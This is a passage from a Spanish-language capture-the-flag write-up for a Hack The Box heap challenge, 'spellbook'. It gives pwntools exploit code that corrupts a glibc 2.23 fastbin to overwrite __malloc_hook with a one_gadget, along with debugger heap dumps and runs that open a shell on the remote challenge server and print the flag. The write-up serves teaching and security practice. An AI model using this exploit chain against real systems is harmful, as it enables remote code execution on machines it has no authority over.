add(p, 2, b'C', 0x68, b'C')
delete(p, 2)
delete(p, 1)
edit(p, 2, b'c', p64(glibc.sym.__malloc_hook - 35))
p.interactive()
Tenemos esto:
$ python3 solve.py
[*] './spellbook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spellbook': pid 4096449
[*] running in new terminal: ['/usr/bin/gdb', '-q', './spellbook', '4096449', '-x', '/tmp/pwn5o8fjqmf.gdb']
[+] Waiting for debugger: Done
[+] Glibc base address: 0x7f74c1978000
[*] Switching to interactive mode
[+] ⅀ ℙ ∉ ⎳ ⎳ has been changed!
ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ ᐃ
ᐊ 1. Add ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 2. Show ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 3. Edit ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐊ 4. Delete ⅀ ℙ ∉ ⎳ ⎳ ᐅ
ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ ᐁ
>> $
gef➤ heap chunks
Chunk(addr=0x55bb36239010, size=0x30, flags=PREV_INUSE)
[0x000055bb36239010 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c...............]
Chunk(addr=0x55bb36239040, size=0x70, flags=PREV_INUSE)
[0x000055bb36239040 ed ca d3 c1 74 7f 00 00 58 cf d3 c1 74 7f 00 00 ....t...X...t...]
Chunk(addr=0x55bb362390b0, size=0x380, flags=PREV_INUSE)
[0x000055bb362390b0 78 cb d3 c1 74 7f 00 00 78 cb d3 c1 74 7f 00 00 x...t...x...t...]
Chunk(addr=0x55bb36239430, size=0x30, flags=! PREV_INUSE)
[0x000055bb36239430 00 90 23 36 bb 55 00 00 00 00 00 00 00 00 00 00 ..#6.U..........]
Chunk(addr=0x55bb36239460, size=0x20, flags=PREV_INUSE)
[0x000055bb36239460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x55bb36239480, size=0x20b90, flags=PREV_INUSE)
[0x000055bb36239480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x55bb36239480, size=0x20b90, flags=PREV_INUSE) ← top chunk
gef➤ heap bins
[+] No Tcache in this version of libc
──────────────────────────────────────────────────────────── Fastbins for arena at 0x7f74c1d3cb20 ────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] ← Chunk(addr=0x55bb36239460, size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x30] ← Chunk(addr=0x55bb36239430, size=0x30, flags=! PREV_INUSE) ← Chunk(addr=0x55bb36239010, size=0x30, flags=PREV_INUSE) ← [Corrupted chunk at 0x73]
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] ← Chunk(addr=0x55bb36239040, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x7f74c1d3cafd, size=0x78, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) ← [Corrupted chunk at 0x74c19fdea0000010]
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────────────────────────────────── Unsorted Bin for arena at 0x7f74c1d3cb20 ──────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x55bb362390a0, bk=0x55bb362390a0
→ Chunk(addr=0x55bb362390b0, size=0x380, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
─────────────────────────────────────────────────────────── Small Bins for arena at 0x7f74c1d3cb20 ───────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────────────────────────────────────────── Large Bins for arena at 0x7f74c1d3cb20 ───────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
Nótese cómo el Fast Bin del tamaño 0x70
se corrompe con una dirección cerca de __malloc_hook
. Ahora, podemos asignar otro hechizo con el tamaño 0x70
. Luego, el próximo chunk de 0x70
bytes se asignará cerca de __malloc_hook
. Podemos usar un patrón para ver el offset y escribir exactamente en __malloc_hook
:
add(p, 5, b'F', 0x68, b'F')
add(p, 6, b'G', 0x68, cyclic(0x67))
p.interactive()
Veremos esto en GDB:
gef➤ x/gx &__malloc_hook
0x7f6a23598b10 <__malloc_hook>: 0x6161676161616661
gef➤ x/s &__malloc_hook
0x7f6a23598b10 <__malloc_hook>: "afaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza"
Usando pwn cyclic
podemos encontrar el offset:
$ pwn cyclic -l afaa
19
Finalmente, podemos usar one_gadget
y encuotrar un gadget que genere un shell al llamar a malloc
(que llamará primero a __malloc_hook
):
$ one_gadget glibc/libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
one_gadget = (0x45226, 0x4527a, 0xf03a4, 0xf1247)[1]
add(p, 3, b'D', 0x68, b'D')
add(p, 4, b'E', 0x68, cyclic(19) + p64(glibc.address + one_gadget))
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'entry: ', b'5')
p.interactive()
Ahora obtenemos una shell en local:
$ python3 solve.py
[*] './spellbook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spellbook': pid 4114099
[+] Glibc base address: 0x7ff869fef000
[*] Switching to interactive mode
$ ls
glibc solve.py spellbook
Flag
Probemos en remoto:
$ python3 solve.py 178.62.5.219:31611
[*] './spellbook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 178.62.5.219 on port 31611: Done
[+] Glibc base address: 0x7f7e5ff09000
[*] Switching to interactive mode
$ ls
flag.txt
glibc
spellbook
$ cat flag.txt
HTB{f45tb1n_c0rrupt10n_0n_p4g3_gl1bc_2.23}
El exploit completo está aquí: solve.py
.